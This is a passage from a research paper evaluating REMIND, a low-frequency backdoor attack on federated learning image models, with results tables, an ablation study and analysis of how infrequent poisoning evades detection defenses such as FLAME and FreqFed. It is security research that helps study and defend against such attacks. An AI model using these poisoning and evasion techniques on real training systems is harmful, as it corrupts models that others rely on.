FedPruning 90.09/41.23 94.47/41.23 83.36/41.38 90.54/41.44 9.66/41.57 78.5/41.25 99.6/41.45 91.26/39.04 99.86/41.4

REMIND. Specifically, Main task Accuracy (MA) refers to
the proportion of correctly predicted samples out of the total
test samples, serving as a measure of the model’s performance
on the main task. Backdoor Accuracy (BA) is the proportion
of poisoned test samples that are successfully predicted as the
target label, the same as the previously mentioned ASR.

B. Attack Performance
REMIND improves backdoor accuracy. Tables II-V present
the performance of REMIND and the baselines under various
defenses on CIFAR-10, CIFAR-100, CINIC-10 and Tiny-
Imagenet, respectively. We observe that REMIND consistently

achieves the highest BA across all cases. For instance, under
the FreqFed defense on Tiny-Imagenet, REMIND attains a BA
of 99.06%, while the next best attack, Neurotoxin, reaches
only 84.61%. Under the Bulyan defense, REMIND maintains
a high BA of 73.12%, outperforming all other baselines, which
do not exceed 65%. Moreover, under all defense methods
across four datasets (except for Bulyan on Tiny-ImageNet),
REMIND achieves a BA of 90% or higher, exceeding 99%
in most cases. This shows that REMIND effectively sustains
strong attack effectiveness, even with low attack frequencies.

REMIND accelerates model convergence. To intuitively
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Fig. 4: The convergence curves of REMIND and the baselines.

demonstrate the backdoor injection speed, we compare RE-
MIND with the baseline attacks across training rounds under
the defense-free setting in Fig. 4. The results demonstrate that
REMIND exhibits the fastest convergence across all datasets
while the baselines either converge more slowly or plateau
at a lower BA. By employing adaptive triggers to reinforce
the memorization of the backdoor, REMIND enables rapid
accumulation of the backdoor effect in the global model.

It is worth noting that we do not include the convergence
curve of 3DFed in Fig. 4. Our experiments reveal that some-
times 3DFed exhibits faster convergence than REMIND and
even outperforms it, as indicated by the entries marked with
“*” in Tables IV and V. Upon reimplementation based on the
official code, we enable 3DFed to first generate a single mali-
cious update by training on Datt, and then produces multiple
poisoned updates by injecting noise into this base update. This
practice implicitly increases the amount of poisoned samples.
Hence, the accelerated convergence and better performance of
3DFed is expected, while this also makes it more likely to be
detected by certain defense methods.

C. Ablation Study

To evaluate the effectiveness of each key component in
REMIND, we conduct an ablation study on different datasets.
Effectiveness of reinforced memorization loss. In REMIND,
the reinforced memorization loss performs task alignment and
feature alignment simultaneously. To validate the roles of the
two alignments, we compare REMIND with its two vari-
ants: REMIND-Feature, which only implements the feature
alignment, and REMIND-Task, which solely enforces the task
alignment. For REMIND, we assign equal weights to the two
types of alignment. Fig. 5 illustrates the results of the three at-
tacks under FedAvg and FLAME. It can be observed that with-
out any defenses, REMIND and REMIND-Task yield com-
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Fig. 5: The ASR (%) of REMIND with different reinforced memo-
rization loss under FedAvg and FLAME.

TABLE VI: The BA/MA (%) of REMIND and REMIND w/o the
prediction module with varying attack intervals.

Methods T=1 T=3 T=5
CIFAR-10

REMIND w/o prediction module 93.77/88.72 92.8/88.64 91.84/88.35
REMIND 99.98/88.57 99.53/88.23 99.63/88.81

CIFAR-100
REMIND w/o prediction module 96.04/63.12 95.67/63.42 93.83/63.41

REMIND 100/63.53 99.82/63.28 99.98/63.47
CINIC-10

REMIND w/o prediction module 93.54/75.32 92.63/75.68 92.13/75.24
REMIND 99.94/75.13 99.98/75.77 99.87/75.21

Tiny-Imagenet
REMIND w/o prediction module 95.61/41.44 94.87/41.38 96.3/41.11

REMIND 99.43/41.63 99.74/41.58 99.9/41.97

parable performance and significantly outperform REMIND-
Feature. This indicates that task alignment can effectively
enhance the attack effectiveness in low-frequency injection
scenarios. However, in the FLAME setting, REMIND-Task
performs much poorer than REMIND, and even underperforms
REMIND-Feature on CIFAR-10 and CIFAR-100. This proves
that feature alignment in REMIND plays a critical role in
enhancing attack stealthiness and is indispensable.
Effectiveness of prediction module. We verify the effec-
tiveness of the prediction module by comparing REMIND
with and without this component. As reported in Table VI,
removing the prediction module results in a 3.6%–7.79% drop
in BA across different attack intervals. In the experiments, we
observe that the BA fluctuates without the prediction module.
In contrast, REMIND with the prediction module converges
more stably to a higher BA, highlighting its crucial role in
preserving backdoor effect under low-frequency attacks.

D. Adverse Effects on Defense

We next validate the adverse effects induced by REMIND
on all three defense categories.



TABLE VII: The TPR (%) under pre-aggregation anomaly detection
methods with varying attack intervals.

Datasets CIFAR-10 CIFAR-100 CINIC-10 Tiny-Imagenet
FLAME

T=1 30.88 90.42 44.21 98.92
T=3 9.79 21.38 13.25 28.38
T=5 5.92↓24.96 11.29↓79.13 8.67↓35.54 10.04↓88.88

FreqFed
T=1 34.5 85.96 28.75 66.17
T=3 11.71 18.33 13.33 13.88
T=5 5.79↓28.71 11.75↓74.21 8.21↓20.54 7.75↓58.42
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Fig. 6: Visualization of participating clients’ similarity metrics, where
red and blue represent malicious and benign clients, respectively.

Reduced detection probability. In this study, we employ the
true positive rate (TPR) following previous works [29], [50] to
measure the detection probability. Specifically, TPR is defined
as the proportion of malicious clients successfully identified in
each round to the total number of malicious clients involved.
A higher TPR indicates a stronger ability of the defense to
detect malicious clients. The reported TPR is averaged over the
entire training process. As shown in Table VII, the TPR of two
pre-aggregation anomaly detection methods, i.e., FLAME and
FreqFed, gradually decreases as the attack interval T increases.
For example, when T = 5, the TPR drops by 20.54%–88.88%
compared to attacking in every round. This indicates that
less frequent attacks are less likely to be detected, thereby
improving the stealthiness of the backdoor.
Increased false alarm rate. To visualize the distribution
of client-wise metrics in FLAME and FreqFed, we apply
principal component analysis (PCA) [51] to project high-
dimensional metrics into a two-dimensional space. The re-
sulting visualizations are presented in Fig. 6. We observe
that during attack rounds, the presence of highly deviating
malicious clients causes benign clients to appear more tightly
clustered, greatly reducing the likelihood of being detected by
anomaly detection methods. While during non-attack rounds,
the inherent variations among benign clients become more
prominent, leading to some of them being mistakenly iden-
tified as malicious, consequently increasing false alarm rate.
Decreased main task accuracy. The MA of REMIND under

TABLE VIII: The MA (%) under byzantine-robust aggregation
methods with varying attack intervals.

Datasets CIFAR-10 CIFAR-100 CINIC-10 Tiny-Imagenet
No defense 88.81 63.47 75.21 41.97

Trimmed Mean
T=1 88.64↓0.17 63.41↓0.06 74.92↓0.29 40.65↓1.32
T=3 88.65↓0.16 63.38↓0.09 74.91↓0.3 40.63↓1.34
T=5 88.64↓0.17 63.39↓0.08 74.89↓0.32 40.61↓1.36

Median
T=1 85.28↓3.53 57.36↓6.11 71.49↓3.72 37.54↓4.43
T=3 85.27↓3.54 57.24↓6.23 71.49↓3.72 37.66↓4.31
T=5 85.11↓3.7 57.22↓6.25 71.47↓3.74 37.53↓4.44

Bulyan
T=1 82.14↓6.67 49.83↓13.64 67.39↓7.82 32.56↓9.41
T=3 82.12↓6.69 49.67↓13.8 67.35↓7.86 32.58↓9.39
T=5 82.02↓6.79 49.55↓13.92 67.33↓7.88 32.3↓9.67

TABLE IX: The per-round time cost (s) of different defense methods.

Datasets CIFAR-10 CIFAR-100 CINIC-10 Tiny-Imagenet
Pre-aggregation 0.3 0.25 0.37 0.34
In-aggregation 1.73 1.77 1.83 1.73

FedDF 9.42×5.45 8.89×5.02 7.25×3.96 13.97×8.08

FedRAD 58.72×33.94 55.81×31.53 43.24×23.63 76.92×44.46

FedPruning 109.5×63.29 148×83.62 1211×661.75 68.93×39.84

three byzantine-robust aggregation methods are shown in
Table VIII, where “No defense” refers to the setting without
any defenses, serving as a baseline for comparison. We find
that the MA degradation caused by defenses remains similar
across different attack intervals. For instance, under the Bulyan
defense on Tiny-ImageNet, the MA decreases by 9.41%,
9.39%, and 9.67% for three attack intervals T = 1, 3, 5,
respectively. This suggests that these defenses fail to effec-
tively distinguish between attack and non-attack rounds, and
consistently exclude some benign updates from aggregation,
thus resulting in a comparable loss in MA regardless of
whether an attack occurs.
Wasted resources. We present the average time per round for
three types of defenses in Table IX, where “Pre-aggregation”
and “In-aggregation” represent the average values of the first
two categories, i.e., pre-aggregation anomaly detection and
byzantine-robust aggregation. The results show that post-
aggregation model refinement methods, namely, FedDF, Fe-
dRAD and FedPruing, incur significantly high execution time,
approximately 3.96–661.75× that of the first two types. Hence,
these post-aggregation techniques tend to waste substantial re-
sources during non-attack rounds under low-frequency attacks.

VI. CONCLUSION

In this paper, we present REMIND, the first effective low-
frequency backdoor attack framework in FL. To maintain a
high ASR under low injection frequencies, REMIND rein-
forces backdoor memorization by aligning features and outputs
of the poisoned and target-class samples. We further analyze
its potential to improve attack efficiency and enhance robust-
ness against defense methods. Extensive experiments validate
the superiority of REMIND over existing attack baselines in
terms of both attack effectiveness and persistence, thereby
posing a new security threat to FL.
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